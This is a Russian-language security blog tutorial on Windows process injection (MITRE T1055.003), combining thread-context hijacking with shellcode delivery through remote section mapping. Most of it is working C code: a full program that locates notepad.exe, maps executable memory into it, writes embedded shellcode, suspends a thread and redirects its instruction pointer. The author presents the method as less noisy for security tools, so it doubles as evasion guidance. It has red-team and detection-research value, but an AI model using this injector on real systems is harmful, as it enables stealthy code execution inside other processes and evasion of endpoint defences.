В статье разберем технику T1055.003
Подменим контекст потока удаленного процесса и рассмотрим способ доставки шелл-кода в процесс с помощью удаленного маппинга.
В ОС Windows существует возможность получения контекста потока и последующего управления значениями регистров. Это дает возможность изменения потока выполнения, например, с помощью модификации регистра rip. Этим и будем пользоваться.
Для того, чтобы получить контекст, используется связка функций OpenThread, SuspendThread и GetThreadContext.
GetThreadContext получает 2 аргумента HANDLE и LPCONTEXT
Структура CONTEXT имеет следующий вид:
CONTEXT
typedef struct DECLSPEC_ALIGN(16) DECLSPEC_NOINITALL _CONTEXT {
DWORD64 P1Home;
DWORD64 P2Home;
DWORD64 P3Home;
DWORD64 P4Home;
DWORD64 P5Home;
DWORD64 P6Home;
DWORD ContextFlags;
DWORD MxCsr;
WORD SegCs;
WORD SegDs;
WORD SegEs;
WORD SegFs;
WORD SegGs;
WORD SegSs;
DWORD EFlags;
DWORD64 Dr0;
DWORD64 Dr1;
DWORD64 Dr2;
DWORD64 Dr3;
DWORD64 Dr6;
DWORD64 Dr7;
DWORD64 Rax;
DWORD64 Rcx;
DWORD64 Rdx;
DWORD64 Rbx;
DWORD64 Rsp;
DWORD64 Rbp;
DWORD64 Rsi;
DWORD64 Rdi;
DWORD64 R8;
DWORD64 R9;
DWORD64 R10;
DWORD64 R11;
DWORD64 R12;
DWORD64 R13;
DWORD64 R14;
DWORD64 R15;
DWORD64 Rip;
union {
XMM_SAVE_AREA32 FltSave;
struct {
M128A Header[2];
M128A Legacy[8];
M128A Xmm0;
M128A Xmm1;
M128A Xmm2;
M128A Xmm3;
M128A Xmm4;
M128A Xmm5;
M128A Xmm6;
M128A Xmm7;
M128A Xmm8;
M128A Xmm9;
M128A Xmm10;
M128A Xmm11;
M128A Xmm12;
M128A Xmm13;
M128A Xmm14;
M128A Xmm15;
} DUMMYSTRUCTNAME;
} DUMMYUNIONNAME;
M128A VectorRegister[26];
DWORD64 VectorControl;
DWORD64 DebugControl;
DWORD64 LastBranchToRip;
DWORD64 LastBranchFromRip;
DWORD64 LastExceptionToRip;
DWORD64 LastExceptionFromRip;
} CONTEXT, *PCONTEXT;
Чтобы получить контекст, перед вызовом GetThreadContext необходимо установить флаги ContextFlags
Существует небольшое количество флагов, которые определены в winnt.h:
флаги
Существует небольшое количество флагов, которые определены в winnt.h:
#define CONTEXT_AMD64 0x00100000L
#define CONTEXT_CONTROL (CONTEXT_AMD64 | 0x00000001L)
#define CONTEXT_INTEGER (CONTEXT_AMD64 | 0x00000002L)
#define CONTEXT_SEGMENTS (CONTEXT_AMD64 | 0x00000004L)
#define CONTEXT_FLOATING_POINT (CONTEXT_AMD64 | 0x00000008L)
#define CONTEXT_DEBUG_REGISTERS (CONTEXT_AMD64 | 0x00000010L)
#define CONTEXT_FULL (CONTEXT_CONTROL | CONTEXT_INTEGER | \
CONTEXT_FLOATING_POINT)
#define CONTEXT_ALL (CONTEXT_CONTROL | CONTEXT_INTEGER | \
CONTEXT_SEGMENTS | CONTEXT_FLOATING_POINT | \
CONTEXT_DEBUG_REGISTERS)
#define CONTEXT_XSTATE (CONTEXT_AMD64 | 0x00000040L)
#define CONTEXT_KERNEL_CET (CONTEXT_AMD64 | 0x00000080L)
#if defined(XBOX_SYSTEMOS)
#define CONTEXT_KERNEL_DEBUGGER 0x04000000L
#endif
#define CONTEXT_EXCEPTION_ACTIVE 0x08000000L
#define CONTEXT_SERVICE_ACTIVE 0x10000000L
#define CONTEXT_EXCEPTION_REQUEST 0x40000000L
#define CONTEXT_EXCEPTION_REPORTING 0x80000000L
//
// CONTEXT_UNWOUND_TO_CALL flag is set by the unwinder if it
// has unwound to a call site, and cleared whenever it unwinds
// through a trap frame.
//
#define CONTEXT_UNWOUND_TO_CALL 0x20000000
И описаны там же
Описание
// The flags field within this record controls the contents of a CONTEXT
// record.
//
// If the context record is used as an input parameter, then for each
// portion of the context record controlled by a flag whose value is
// set, it is assumed that that portion of the context record contains
// valid context. If the context record is being used to modify a threads
// context, then only that portion of the threads context is modified.
//
// If the context record is used as an output parameter to capture the
// context of a thread, then only those portions of the thread's context
// corresponding to set flags will be returned.
//
// CONTEXT_CONTROL specifies SegSs, Rsp, SegCs, Rip, and EFlags.
//
// CONTEXT_INTEGER specifies Rax, Rcx, Rdx, Rbx, Rbp, Rsi, Rdi, and R8-R15.
//
// CONTEXT_SEGMENTS specifies SegDs, SegEs, SegFs, and SegGs.
//
// CONTEXT_FLOATING_POINT specifies Xmm0-Xmm15.
//
// CONTEXT_DEBUG_REGISTERS specifies Dr0-Dr3 and Dr6-Dr7.
//
Для наших целей хватит CONTEXT_CONTROL
В общем виде установка контекста выглядит так:
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadID);
SuspendThread(hThread);
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(hThread, &ctx);
/*
Some context manipulation
*/
SetThreadContext(hThread, &ctx);
ResumeThread(hThread);
Запомнили, теперь перейдем к доставке шелл-кода в процесс.
Обычно для этих целей используется связка вида
OpenProcess -> VirtualAlloc -> [VirtualProtect] -> WriteProcessMemory -> CreateRemoteThread
Это скучно и невероятно шумно для средств защиты. Поэтому я решил попробовать что-то новое и реализовал внедрение в процесс с помощью удаленного маппинга.
В итоге получилась следующая цепочка:
CreateFileMapping -> OpenProcess -> ZwMapViewOfSection
Пример кода:
HANDLE hMapFile = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, bufferSize, NULL);
HANDLE hProc = OpenProcess(PROCESS_VM_OPERATION, 0, pid);
PVOID remoteBaseAddress = NULL;
size_t viewSize = 0;
NTSTATUS status = ZwMapViewOfSection(hMapFile,hProc,&remoteBaseAddress,0,0,NULL,&viewSize,2,0,PAGE_EXECUTE_READ);
Здесь появляется не самый очевидный механизм.
Так как локальный маппинг создан с флагом PAGE_EXECUTE_READWRITE, мы можем в текущем процессе вызвать MapViewOfFile с флагом FILE_MAP_WRITE, что позволит нам писать в память из текущего процесса, а в удаленном процессе размапить ту же память с правами только на чтение и исполнение.
Это дает возможность в любой момент менять размапленную память удаленного процесса. Например, сначала создать секцию с безобидным содержимым, а после загрузить в нее шеллкод. К тому же, в сравнение с классическим выделением памяти с флагом PAGE_EXECUTE_READWRITE в удаленном процессе, этот способ менее шумный с точки зрения средств защиты, так как создание rwx памяти – целое событие.
Итак, соберем все воедино. Механизм будет следующим:
Создание памяти с PAGE_EXECUTE_READWRITE
Получение указателя на память с правами на запись
Поиск целевого процесса для внедрения
Удаленный маппинг памяти
Запись шелл-кода в память
Поиск потока целевого процесса
Приостановка потока
Изменение контекста потока
Воспроизведение потока
Для поиска целевого процесса и потока будем использовать функцию CreateToolhelp32Snapshot:
HANDLE procSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
HANDLE threadSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
WCHAR target[] = L"notepad.exe";
Thread32First(threadSnapshot, &threadEntry);
Process32FirstW(procSnapshot, &processEntry);
DWORD lerr = GetLastError();
while (Process32NextW(procSnapshot, &processEntry))
{
if (_wcsicmp(processEntry.szExeFile, target) == 0)
{
while (Thread32Next(threadSnapshot, &threadEntry))
{
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID)
{
/*
Usefull code
*/
break;
}
}
break;
}
}
Объединяем, добавляем запись шелл-кода и получаем результат:
Код
#include <windows.h>
#include <iostream>
#include <TlHelp32.h>
typedef NTSTATUS(NTAPI* p_ZwMapViewOfSection)(
HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
SIZE_T CommitSize,
PLARGE_INTEGER SectionOffset,
PSIZE_T ViewSize,
DWORD InheritDisposition,
ULONG AllocationType,
ULONG Win32Protect
);
int main() {
unsigned char code[] =
{ 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x29, 0xD4, 0x65, 0x48, 0x8B,
0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE,
0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57,
0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48,
0x01, 0xF7, 0x99, 0xFF, 0xD7 };
size_t bufferSize = sizeof(code);
HANDLE hMapFile = CreateFileMappingA(
INVALID_HANDLE_VALUE,
NULL,
PAGE_EXECUTE_READWRITE,
0,
bufferSize,
NULL
);
if (hMapFile == NULL) {
return 1;
}
LPVOID pBuffer = MapViewOfFile(
hMapFile,
FILE_MAP_WRITE,
0,
0,
bufferSize
);
if (pBuffer == NULL) {
CloseHandle(hMapFile);
return 1;
}
DWORD old;
THREADENTRY32 threadEntry;
threadEntry.dwSize = sizeof(THREADENTRY32);
PROCESSENTRY32W processEntry;
processEntry.dwSize = sizeof(PROCESSENTRY32W);
CONTEXT context;
context.ContextFlags = CONTEXT_CONTROL;
HANDLE procSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
HANDLE threadSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
WCHAR target[] = L"notepad.exe";
Thread32First(threadSnapshot, &threadEntry);
Process32FirstW(procSnapshot, &processEntry);
DWORD lerr = GetLastError();
while (Process32NextW(procSnapshot, &processEntry))
{
if (_wcsicmp(processEntry.szExeFile, target) == 0)
{
while (Thread32Next(threadSnapshot, &threadEntry))
{
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID)
{
HANDLE hProc = OpenProcess(PROCESS_VM_OPERATION, 0, processEntry.th32ProcessID);
HANDLE hMapFileDup = 0;
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
p_ZwMapViewOfSection ZwMapViewOfSection = (p_ZwMapViewOfSection)GetProcAddress(hNtdll, "ZwMapViewOfSection");
PVOID remoteBaseAddress = NULL;
size_t viewSize = 0;
NTSTATUS status = ZwMapViewOfSection(
hMapFile,
hProc,
&remoteBaseAddress,
0,
0,
NULL,
&viewSize,
2,
0,
PAGE_EXECUTE_READ
);
CloseHandle(hProc);
CopyMemory(pBuffer, code, sizeof(code));
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID);
SuspendThread(hThread);
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(hThread, &ctx);
ctx.Rip = (DWORD64)remoteBaseAddress;
SetThreadContext(hThread, &ctx);
ResumeThread(hThread);
break;
}
}
break;
}
}
lerr = GetLastError();
CloseHandle(threadSnapshot);
CloseHandle(procSnapshot);
UnmapViewOfFile(pBuffer);
CloseHandle(hMapFile);
return 0;
}

Посмотрим на память в Process Hacker сразу после вызова ZwMapViewOfSection. Здесь видно, что в текущем процессе память RW, а в целевом - RX


В результате мы подменили контекст потока целевого процесса, внедрили память через удаленный маппинг и исполнили шелл-код.
Проект доступен на моем Github:
P.S.
Мы ведем telegram-канал AUTHORITY, в котором пишем об информационной безопасности и делимся инструментами, которые сами используем. Будем рады подписке